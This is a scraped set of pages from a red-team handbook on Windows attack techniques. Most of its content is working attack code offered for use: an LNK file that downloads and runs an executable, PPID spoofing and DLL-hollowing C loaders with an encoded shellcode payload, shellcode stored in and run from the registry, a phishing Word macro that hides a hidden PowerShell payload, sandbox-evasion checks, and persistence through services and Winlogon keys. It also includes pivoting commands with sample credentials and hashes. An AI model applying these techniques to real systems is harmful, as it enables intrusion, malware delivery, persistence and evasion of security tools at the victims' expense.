[SSHuttle](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting#sshuttle) * [Firewalls](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting#firewalls) * [Proxychains for Windows](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting#proxychains-for-windows) * [Rpivot](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting#rpivot) * [](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting#undefined) Copy netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDRESS listenport=LOCALPORT connectaddress=REMOTE_ADDRESS connectport=REMOTE_PORT protocol=tcp netsh advfirewall firewall add rule name=”Evill” protocol=TCP dir=in localip=LOCAL_ADDRESS localport=LOCAL_PORT action=allow Copy proxychains_win32_x64.exe –f Copy python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0 Copy python client.py --server-ip --server-port 9443 Copy python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \ --ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e Copy python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \ --ntlm-proxy-port 8080 --domain CORP --username jdoe \ --hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE --- # Checking for access | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/checking-for-access.md) . Before attempting to move laterally to a host, access should be validated first as a test. On domain joined systems, we need to have administrator privileges in order to access computers remotely. One way to validate for access is the SMB mount of C$: Copy ls \\IP\C$ If access is allowed, we may be able to move laterally to the machine. [PreviousNo Admin?](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/no-admin) [NextPoison Handler](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/poison-handler) Last updated 5 years ago --- # Minimization | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization.md) . [Commands to Avoid](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/commands-to-avoid) [Pivoting](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting) [Benefits of Using APIs](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/benefits-of-using-apis) [Thread-less Payload Execution](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/thread-less-payload-execution) [DLL Hollowing](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/module-stomping) [PreviousAMSI Bypasses](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses) [NextCommands to Avoid](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/commands-to-avoid) Last updated 5 years ago --- # RTF | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/rtf.md) . (todo) [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fwww.mcafee.com%2Fblogs%2Fwp-content%2Fuploads%2F2018%2F11%2Fcropped-favicon-192x192.png&width=20&dpr=3&quality=100&sign=6da97291&sv=2)Cybersecurity News and Insights to Stay Safe Online | McAfee BlogMcAfee Blog](https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/) [PreviousMSG](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/msg) [NextREG](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/reg) Last updated 5 years ago --- # Using LNK to Automatically Download Payloads | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk/using-lnk-to-automatically-download-payloads.md) . LNK can handle externally loaded icons. Specifically, it can load .ico files specified in a UNC link or even paths that are specified as urls. In short, if you supply a remote and external icon file, it will fetch and download the icon file for it to be displayed. When the file is fetched by the LNK file, it will be stored in the path `%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache`\\file.exe The LNK can then execute the file in this directory. An example script for generating the file is shown below: Copy $shell = New-Object -ComObject WScript.Shell; $desktop = [System.Environment]::GetFolderPath('Desktop'); $shortcut = $shell.CreateShortcut("$desktop\file.lnk"); $shortcut.TargetPath = "C:\windows\system32\conhost.exe"; $shortcut.WindowStyle = 7; $shortcut.Arguments = 'cmd.exe /c cd %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache & dir /s /B file*.exe | cmd.exe /k'; $shortcut.IconLocation = "https://127.0.0.1/file.exe?.ico"; $shortcut.Save(); [PreviousLNK](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk) [NextHTA](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/hta) Last updated 3 years ago --- # SSP | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/ssp.md) . (todo) [PreviousAdmin Level](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level) [NextServices](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/services) Last updated 5 years ago --- # File Formats | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats.md) . [MSG](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/msg) [RTF](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/rtf) [REG](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/reg) [BAT](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/bat) [MSI Files](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/msi-files) [IQY](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/iqy) [CHM](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/chm) [LNK](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk) [HTA](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/hta) [PreviousPayload Delivery](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery) [NextMSG](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/msg) Last updated 5 years ago --- # MSG | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/msg.md) . MSG Files are used for storing Microsoft Outlook and Exchange message files. These are used in combination with Outlook and Exchange message files for phishing documents. (todo) [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afill%3A304%3A304%2F10fd5c419ac61637245384e7099e131627900034828f4f386bdaa47a74eae156&width=20&dpr=3&quality=100&sign=ef5324ba&sv=2)#OLEOutlook - bypass almost every Corporate security control with a point’n’click GUIMedium](https://medium.com/@networksecurity/oleoutlook-bypass-almost-every-corporate-security-control-with-a-point-n-click-gui-37f4cbc107d0) [https://www.trustwave.com/Resources/SpiderLabs-Blog/Down-the-Rabbit-Hole--Extracting-Maliciousness-from-MSG-Files-Without-Outlook/www.trustwave.com](https://www.trustwave.com/Resources/SpiderLabs-Blog/Down-the-Rabbit-Hole--Extracting-Maliciousness-from-MSG-Files-Without-Outlook/) [PreviousFile Formats](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats) [NextRTF](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/rtf) Last updated 5 years ago --- # PPID Spoofing via CreateProcess | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/ppid-spoofing-via-createprocess.md) . This allows us to make a process spawn with an arbitrary parent set. This helps make the process make it look like it was spawned by another process to evade parent-child relationships. * **CreateProcess API accepts lpStartupInfo parameter, in which we can supply a STARTUPINFOEX structure** * **The PROC\_THREAD\_ATTIRBUTE\_PARENT\_PROCESS attribute in the STARTUPINFOEX structure** **is where we can supply an arbitrary parent** Copy #include #include #include #include #include DWORD FindProcessPid(const char* procname) { PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // takes a snapshot of all the processes running in the system if (hSnapshot) { if (Process32First(hSnapshot, &pe32)) // from the snapshot of the processes, we extract the process name { do { if (strcmp(pe32.szExeFile, procname) == 0) // compares the process name, with our user supplied name { return pe32.th32ProcessID; // if its the same, return the process id } } while (Process32Next(hSnapshot, &pe32)); CloseHandle(hSnapshot); } } return -1; // returns negative one if the process is not found } int main() { int pid = FindProcessPid("explorer.exe"); STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA)); HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid); InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize); InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize); UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL); si.StartupInfo.cb = sizeof(STARTUPINFOEXA); CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi); return 0; } [PreviousCommand Line Argument Spoofing](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/command-line-argument-spoofing) [NextSwitching Parents](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents) Last updated 5 years ago --- # Admin Level | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level.md) . [SSP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/ssp) [Services](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/services) [Default File Extension](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/default-file-extension) [AppCert DLLs](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/appcert-dlls) [Time Provider](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/time-provider) [Waitfor](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/waitfor) [WinLogon](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/winlogon) [Netsh Dlls](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/netsh-dlls) [RDP Backdoors](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/rdp-backdoors) [AppInit Dlls](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/appinit-dlls) [Port Monitor](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/port-monitor) [WMI Event Subscriptions](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/wmi-event-subscriptions) [PreviousSQL](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/sql) [NextSSP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/ssp) Last updated 5 years ago --- # DLL Hollowing | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/module-stomping.md) . This technique works by coercing a program to load an unused DLL, and then overwriting some part of the unused DLL to host our payload, and then starting a new thread to execute that DLL. This will minimize our artifacts, because of the following reasons * Memory scanners will not scan DLLs for malicious signatures or compare DLLs in disk to memory as it will be very resource intensive for an EDR to scan every DLL loaded in a process * Our thread will map back to a legitimate DLL instead of a weirdly allocated piece of memory * We will have no RWX memory regions that are not backed up by any file For the sake of this lab(ish), we will simply just allocate a block of memory in a benign DLL and execute that. Let's first Load our library we want to overwrite: Copy HMODULE hVictimLib = LoadLibrary("amsi.dll"); Let's then get the entry point of the DLL: Copy char* ptr1 = (char*)hVictimLib; PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ptr1; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ptr1 + dosHeader->e_lfanew); LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)ptr1); char* ptr = (char*)dllEntryPoint; After we get our entry point, lets change its protections and write our payload to the entry point: Copy DWORD oldprotect = 0; VirtualProtect((char*)ptr, payload_len, PAGE_READWRITE, &oldprotect); memcpy(ptr, payload, payload_len); VirtualProtect((char*)ptr, payload_len, oldprotect, &oldprotect); Then, we can create our new thread Here's the final code I have made: [PreviousThread-less Payload Execution](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/thread-less-payload-execution) [NextMisdirection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection) Last updated 4 years ago Copy CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ptr, NULL, 0, 0); Copy #include #include #include #include #include unsigned char payload[] = { 0xa9, 0x3c, 0xed, 0xaa, 0xb1, 0x86, 0xb3, 0x74, 0x52, 0x73, 0x14, 0x25, 0x2f, 0x1e, 0x13, 0x3f, 0x25, 0x3c, 0x63, 0xa1, 0x30, 0x3c, 0xe5, 0x1c, 0x21, 0x26, 0xf8, 0x26, 0x4a, 0x3b, 0xde, 0x26, 0x4e, 0x6, 0xca, 0x1c, 0x23, 0x3c, 0x5d, 0xc4, 0x1f, 0x3e, 0x23, 0x7f, 0x88, 0x26, 0x42, 0xb4, 0xfe, 0x4f, 0x34, 0x8, 0x6c, 0x62, 0x61, 0x2f, 0xb2, 0xbd, 0x5f, 0x32, 0x54, 0xb5, 0x8c, 0xa3, 0x13, 0x2f, 0x22, 0x3c, 0xd9, 0x21, 0x75, 0xff, 0x2c, 0x72, 0x9, 0x6f, 0xa3, 0xff, 0xd2, 0xfb, 0x55, 0x74, 0x6e, 0x6, 0xc4, 0xae, 0x7, 0x13, 0x1a, 0x72, 0x85, 0x24, 0xe5, 0x6, 0x59, 0x2a, 0xf8, 0x34, 0x72, 0x3a, 0x54, 0xa4, 0x8d, 0x18, 0x9, 0x91, 0xba, 0x35, 0xd9, 0x47, 0xdd, 0x3c, 0x6f, 0x98, 0xc, 0x5f, 0xba, 0x3c, 0x63, 0xb3, 0xf9, 0x35, 0xaf, 0x87, 0x4c, 0x2f, 0x72, 0xb5, 0x6a, 0x93, 0x20, 0x85, 0x22, 0x4d, 0xd, 0x4a, 0x7b, 0x31, 0x6b, 0xa2, 0x20, 0xac, 0x36, 0xa, 0xca, 0x2e, 0x57, 0x3d, 0x53, 0xa3, 0x33, 0x35, 0xe5, 0x42, 0x9, 0x2a, 0xf8, 0x34, 0x4e, 0x3a, 0x54, 0xa4, 0x2f, 0xc5, 0x45, 0xe6, 0x3b, 0x75, 0x82, 0x32, 0xd, 0x35, 0x36, 0x10, 0x18, 0x34, 0x32, 0x2c, 0x13, 0x2a, 0x14, 0x2e, 0x26, 0xcd, 0xad, 0x4e, 0x32, 0x26, 0xad, 0x93, 0xd, 0x35, 0x37, 0x14, 0x9, 0xe5, 0x61, 0x9d, 0x5, 0x8c, 0xaa, 0x8b, 0x33, 0x6, 0xfb, 0x6f, 0x73, 0x74, 0x52, 0x73, 0x55, 0x74, 0x6e, 0x6, 0xcc, 0xe3, 0x72, 0x75, 0x52, 0x73, 0x14, 0xce, 0x5f, 0xc5, 0x2e, 0xe9, 0x8c, 0xa1, 0xe9, 0x93, 0x48, 0x5e, 0x64, 0xf, 0xfb, 0xc8, 0xe6, 0xc9, 0xcf, 0x8c, 0x80, 0x3c, 0xed, 0x8a, 0x69, 0x52, 0x75, 0x8, 0x58, 0xf3, 0xae, 0x94, 0x1b, 0x4b, 0xfa, 0x29, 0x60, 0x6, 0x3d, 0x19, 0x55, 0x2d, 0x2f, 0xc7, 0x9b, 0x91, 0xa6, 0x17, 0x33, 0x1f, 0x36, 0x5a, 0xb, 0x36, 0x24, 0x6e }; unsigned int payload_len = sizeof(payload); char key[] = "UtnNAnstRs"; void XOR(char* data, size_t data_len, char* key, size_t key_len) { int j; j = 0; for (int i = 0; i < data_len; i++) { if (j == key_len - 1) j = 0; data[i] = data[i] ^ key[j]; j++; } } int main(void) { DWORD oldprotect = 0; HMODULE hVictimLib = LoadLibrary("amsi.dll"); if (hVictimLib != NULL) { char* ptr1 = (char*)hVictimLib; PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ptr1; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ptr1 + dosHeader->e_lfanew); LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)ptr1); char* ptr = (char*)dllEntryPoint; printf("Adrress of the Entry point of the dll: %p", ptr); getchar(); VirtualProtect((char*)ptr, payload_len, PAGE_READWRITE, &oldprotect); XOR((char*)payload, payload_len, key, sizeof(key)); memcpy(ptr, payload, payload_len); VirtualProtect((char*)ptr, payload_len, oldprotect, &oldprotect); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ptr, NULL, 0, 0); printf("Payload executed\n"); getchar(); } return 0; } --- # Services | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/services.md) . We can abuse services for persistence, for this example, we will create a new service called "UpdaterServ": Copy sc create UpdaterServ binpath= "c:\binary" start= auto We can see If it worked with: Copy sc query UpdaterServ We can finally start the service with: Copy sc start UpdaterServ Note: You will get an error if your persistence executable does not contain the necessary functions to function as a windows service. For more information on how to write a windows service: [https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cpluspluswww.codeproject.com](https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus) You can also modify an existing service to point to your persistence executable like so: [PreviousSSP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/ssp) [NextDefault File Extension](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/default-file-extension) Last updated 5 years ago Copy sc stop UpdaterServ sc config UpdaterServ binpath= "c:\binary" sc start UpdaterServ --- # Default File Extension | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/default-file-extension.md) . (todo) [PreviousServices](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/services) [NextAppCert DLLs](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/appcert-dlls) Last updated 5 years ago --- # Registry Keys | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/registry-keys.md) . We will store our shellcode as a ASCII string in registry and in our implant, we will read the registry key, convert that string back into hex, and execute that. To convert your shellcode into an ASCII string, we can use this snippet of code: Copy try: with open(sys.argv[1]) as shellcode: bytes = bytearray(shellcode.read()) shellcode.close() except IOError: print("Error reading file") print("".join("{:02X}".format(c) for c in bytes)) You will get an ASCII string in the output, we can put this in registry key so Copy New-ItemProperty -Path "HKCU:\SOFTWARE\regkey" -Name "Name" -Value "ASCIISTRING" -PropertyType String -Force In our C Code, we can extract the shellcode from registry like so. Copy DWORD dwRegistryEntryOneLen; DWORD dwAllocationSize = shellcodesize; LPCSTR lpData = (LPCSTR)VirtualAlloc(NULL, dwAllocationSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); DWORD dwType = REG_SZ; HKEY hKey = 0; LPCSTR subkey = "HKCU:\SOFTWARE\regkey"; RegOpenKeyA(HKEY_CURRENT_USER,subkey,&hKey); RegQueryValueExA(hKey, "Name", NULL, &dwType, (LPBYTE)lpData, &dwAllocationSize); LPCSTR decodedShellcode = (LPCSTR)VirtualAlloc(NULL,dwAllocationSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); LPCSTR tempPointer = decodedShellcode; for (int i = 0; i < dwAllocationSize/2; i ++) { sscanf_s(lpData+(i*2), "%2hhx", &decodedShellcode[i]); } Shellcode will be stored in decodedShellcode variable. We can then create a thread executing our shellcode or do whatever is applicable to your situation. [PreviousFile metadata](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/file-metadata) [NextADS](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/ads) Last updated 5 years ago --- # Inline Shapes | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/inline-shapes.md) . We can use Inline Shapes to house our malicious code, which can then be called and deleted from a macro. We will focus on the textbox shape for this lab Our execution flow will be 1. Create a phishing document 2. Use the Inline Shape creation macro found below 3. Delete the Inline Shape creation macro and add in the following execution macro 4. Save the document and send it to the target This will be the textbox macro that will create the inline shape and adds the payload text in there. The secret key is a value that our macro will look for while looking through each in line shape, if it finds the secret key, it will extract the text from that inline shape and execute it. Copy Sub createTextBox() On Error Resume Next Dim objTextBox As Shape Dim secretkey As Long Dim str As String Dim zHf As String payload = "nVhLj9s2EL7vryAWOqyxdkBJ1CtGgKQNCgQo0qCbtoeFDxJFdY1qbc" --Full Payload Excluded-- zHf = " -NoP -NonI -W Hidden -Command ""Invoke-" zHf = zHf + "Expression $(New-Object IO.StreamReader ($(New-O" --Full PowerShell Command Excluded (references the payload string)-- secretkey = RGB(2, 2, 2) ' this value is a secret key, when we try to run this, it will search the doc for all the shapes, ad search for the key, and will run the macro. Set objTextBox = ActiveDocument.Shapes.AddTextbox(msoTextOrientationHorizontal, 0, 0, 0, 0) With objTextBox .TextFrame.TextRange.Text = "powershell.exe|" + zHf + "|open|1" .Name = "Shell.Application" .Height = 100 .Width = 100 .Visible = msoFalse .Shadow.Visible = True .Shadow.ForeColor.RGB = secretkey .AlternativeText = "ShellExecute" .TextFrame.TextRange.Font.TextColor.RGB = ActiveDocument.Background.Fill.BackColor End With End Sub The above macro will create our inline shape with our payload in it. Once that macro executes, it is safe to delete it. Our payload is now hidden in an inline shape inside the document. We will then have our execution macro which will retrieve the contents of the inline shape and run it: Notice how we delete the shape so multiple executions can't happen. The above macro uses the call by name function to run whatever is in the shape once we find the shape that matches with our key which will run our payload. Note that because we deleted the inline shape, this is a payload that can only run once. References[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/inline-shapes#references) ---------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afill%3A304%3A304%2F10fd5c419ac61637245384e7099e131627900034828f4f386bdaa47a74eae156&width=20&dpr=3&quality=100&sign=ef5324ba&sv=2)Malicious Shapes In Office — Part 1Medium](https://medium.com/@laughing_mantis/malicious-shapes-in-office-part-1-8a4efca74358) [PreviousInfo Extraction](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction-1) [Next.MAM Files](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/.mam-files) Last updated 5 years ago Copy Sub ExecuteTextBoxCommands() On Error Resume Next Dim objCmdShape As Shape Dim secretkey As Long Dim cmdParams() As String Dim cmdCommand As String Dim cmdType As String Dim cmdObj As Object secretkey = RGB(2, 2, 2) For x = 1 To ActiveDocument.Shapes.Count Set objCmdShape = ActiveDocument.Shapes(x) If objCmdShape.Shadow.ForeColor.RGB = secretkey Then cmdType = objCmdShape.Name cmdCommand = objCmdShape.AlternativeText cmdParams = Split(objCmdShape.TextFrame.TextRange.Text, "|") Set cmdObj = Interaction.CreateObject(cmdType) VBA$.[Interaction].CallByName! cmdObj, [cmdCommand], VbMethod, cmdParams(0), Trim(cmdParams(1)), cmdParams(2), cmdParams(3) objCmdShape.Delete Exit For End If Next End Sub --- # Sandbox Evasion | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/sandbox-evasion.md) . Here is a list of things on the client side that can help you detect sandboxes and halt execution if found in one(so the Av doesn't get to see how our payload operates and evades heurisitic detections) Copy • Usernames • Domain membership • Zone Identifier • Computer resources • Process names • Recent files • Current file name • BIOS information • CPU Cores • Installed Drivers • Multiple executions • Environment Variables • Mouse movements For more info: [https://github.com/a0rtega/pafish/tree/master/pafish](https://github.com/a0rtega/pafish/tree/master/pafish) And: [https://www.blackhat.com/docs/us-17/thursday/us-17-Kotler-The-Adventures-Of-Av-And-The-Leaky-Sandbox.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Kotler-The-Adventures-Of-Av-And-The-Leaky-Sandbox.pdf) [PreviousHigh Level Overview of EDR technologies](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies) [NextObfuscating Imports](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports) Last updated 5 years ago --- # WinLogon | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/winlogon.md) . WinLogon is a component thats handles various "login" activities like Logon, Logoffs, loading user profiles etc. This is managed by registry keys, and we can use these registry keys for persistence. WinLogon has 2 registry keys values we can use for persistence, shell and UserInit values. Shell gets executed at login time, and UserInit initializes the users session and is executed by winlogon. Shell[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/winlogon#shell) ----------------------------------------------------------------------------------------------------------- Copy copy c:\executable.exe c:\windows\system32 reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Shell" /T REG_SZ /D "explorer.exe,executable.exe" /F ### UserInit[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/winlogon#userinit) Copy reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "UserInit" /T REG_SZ /D "C:\Windows\system32\userinit.exe,c:\windows\system32\executable.exe" /F Notify[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/winlogon#notify) ------------------------------------------------------------------------------------------------------------- The notify registry key is found in older OS's and points to a notification package DLL file which handles WinLogon events. We can add DLL entries under this key to cause it to be loaded during logon. (todo) [PreviousWaitfor](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/waitfor) [NextNetsh Dlls](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/netsh-dlls) Last updated 5 years ago * [Shell](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/winlogon#shell) * [UserInit](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/winlogon#userinit) * [Notify](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/winlogon#notify) --- # Time Provider | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/time-provider.md) . Windows OS uses time providers to synchronize time with other machines in the network to obtain accurate information from other network devices. Time synchronization is very important as many protocols in AD have this as a requirement. Note that your dll needs to be coded in a special way, a template of this can be found by Scott Lundgren from Carbon Black: 